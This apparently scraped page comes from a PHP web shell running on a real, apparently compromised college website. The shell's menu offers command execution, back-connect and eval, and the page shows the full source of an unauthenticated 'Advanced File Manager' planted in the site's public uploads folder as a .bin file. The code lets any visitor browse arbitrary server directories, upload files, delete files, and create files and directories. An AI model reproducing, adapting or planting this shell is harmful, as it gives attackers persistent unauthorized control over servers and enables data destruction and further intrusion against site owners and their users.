File Manger -- Command Execute -- Back Connect -- BypasS Command eXecute(SF-DF) -- BypasS Directory -- Eval -- Data Base -- Server Information
File Name : /home/brahmavalleyedu/public_html/bed.brahmavalley.edu.in/public/uploads/1758037559_915d23be9a5111a13303.bin <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>AFD - Advanced File Manager</title> <style> body { background-color: #1e1e1e; color: #fff; font-family: Arial, sans-serif; text-align: center; padding: 30px; } .container { width: 80%; margin: 0 auto; } h2, h3 { color: #4CAF50; } input[type="file"], input[type="submit"], input[type="text"], input[type="button"] { padding: 10px; margin: 10px 0; color: #fff; background-color: #333; border: none; border-radius: 5px; } input[type="file"], input[type="button"] { cursor: pointer; } form { margin-bottom: 20px; } a { color: #4CAF50; text-decoration: none; } a:hover { text-decoration: underline; } table { margin: 20px auto; border-collapse: collapse; width: 100%; } th, td { padding: 15px; text-align: left; border-bottom: 1px solid #333; } th { background-color: #333; } td { background-color: #2c2c2c; } .icon { display: inline-block; margin-right: 10px; } .folder-icon { color: #ffcc00; } .file-icon { color: #4CAF50; } .action-btn { padding: 5px 10px; background-color: #f44336; color: #fff; border: none; border-radius: 5px; cursor: pointer; } .action-btn:hover { background-color: #d32f2f; } .breadcrumbs { margin-bottom: 20px; } .breadcrumbs a { color: #4CAF50; text-decoration: none; margin-right: 5px; } .breadcrumbs a:hover { text-decoration: underline; } .breadcrumbs span { margin-right: 5px; } .manage-section { display: flex; justify-content: space-between; flex-wrap: wrap; gap: 15px; } .manage-section form { flex: 1; min-width: 200px; } </style> </head> <body> <center> <img src="https://i.ibb.co/208LjXgx/tcc.png" width="30%"><center> <div class="container"> <h2>Advanced File Manager</h2> <?php // Handle the current directory $currentDir = isset($_GET['dir']) ? $_GET['dir'] : __DIR__; // Create breadcrumbs for the current directory $pathParts = explode(DIRECTORY_SEPARATOR, $currentDir); $breadcrumbs = []; $pathAccumulator = ''; foreach ($pathParts as $part) { if ($part !== '') { $pathAccumulator .= DIRECTORY_SEPARATOR . $part; $breadcrumbs[] = "<a href=\"?dir=" . urlencode($pathAccumulator) . "\">$part</a>"; } } echo "<div class='breadcrumbs'><strong>Current Directory: </strong>"; echo implode(' / ', $breadcrumbs); echo "</div>"; // Handle directory change if (isset($_POST['changeDir'])) { $newDir = $_POST['newDir']; if (is_dir($newDir)) { $currentDir = realpath($newDir); } else { echo "<p>Directory does not exist.</p>"; } } // Handle file upload if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_FILES['file'])) { $file = $_FILES['file']; if ($file['error'] === UPLOAD_ERR_OK) { $fileName = basename($file['name']); $fileTmpPath = $file['tmp_name']; $dest_path = $currentDir . '/' . $fileName; if (move_uploaded_file($fileTmpPath, $dest_path)) { echo "<p>File uploaded successfully to $currentDir.</p>"; } else { echo "<p>Error moving the uploaded file.</p>"; } } else { echo "<p>Error: No file selected or upload failed.</p>"; } } // Handle file deletion if (isset($_GET['delete'])) { $fileToDelete = $_GET['delete']; if (is_file($fileToDelete)) { unlink($fileToDelete); echo "<p>File deleted: $fileToDelete</p>"; } } // Handle directory creation if (isset($_POST['createDir'])) { $newDir = $_POST['newDirName']; $newDirPath = $currentDir . DIRECTORY_SEPARATOR . $newDir; if (!is_dir($newDirPath)) { mkdir($newDirPath); echo "<p>Directory created: $newDir</p>"; } else { echo "<p>Directory already exists.</p>"; } } // Handle file creation if (isset($_POST['createFile'])) { $newFile = $_POST['newFileName']; $newFilePath = $currentDir . DIRECTORY_SEPARATOR . $newFile; if (!file_exists($newFilePath)) { file_put_contents($newFilePath, ''); // Create an empty file echo "<p>File created: $newFile</p>"; } else { echo "<p>File already exists.</p>"; } } echo "<h3>Current Directory: $currentDir</h3>"; // Display directory management forms echo '<div class="manage-section">'; // Change directory form echo '<form method="post">'; echo '<input type="text" name="newDir" placeholder="Enter new directory" required>'; echo '<input type="submit" name="changeDir" value="Change Directory">'; echo '</form>'; // Create new directory form echo '<form method="post">'; echo '<input type="text" name="newDirName" placeholder="New directory name" required>'; echo '<input type="submit" name="createDir" value="Create Directory">'; echo '</form>'; // Create new file form echo '<form method="post">'; echo '<input type="text" name="newFileName" placeholder="New file name" required>'; echo '<input type="submit" name="createFile" value="Create File">'; echo '</form>'; // File upload form echo '<form action="" method="post" enctype="multipart/form-data">'; echo '<input type="file" name="file" required>'; echo '<input type="submit" value="Upload File">'; echo '</form>'; echo '</div>'; echo "<h3>Files and Directories in $currentDir:</h3>"; // List directories first, then files $files = scandir($currentDir); echo '<table>'; echo '<tr><th>File/Directory Name</th><th>Action</th></tr>'; // List directories foreach ($files as $file) { if ($file !== "." && $file !== ".." && is_dir($currentDir . '/' . $file)) { $filePath = $currentDir . '/' . $file; echo "<tr><td><span class='icon folder-icon'>ðŸ“</span><a href=\"?dir=" . urlencode($filePath) . "\">$file</a></td>"; echo "<td><a href=\"?dir=" . urlencode($currentDir) . "&delete=" . urlencode($filePath) . "\"><button class='action-btn'>Delete</button></a></td></tr>"; } } // List files foreach ($files as $file) { if ($file !== "." && $file !== ".." && is_file($currentDir . '/' . $file)) { $filePath = $currentDir . '/' . $file; echo "<tr><td><span class='icon file-icon'>📄</span><a href=\"$filePath\" target=\"_blank\">$file</a></td>"; echo "<td><a href=\"?dir=" . urlencode($currentDir) . "&delete=" . urlencode($filePath) . "\"><button class='action-btn'>Delete</button></a></td></tr>"; } } echo '</table>'; ?> </div> </body> </html>
Coded by Amin Shokohi (Pejvak)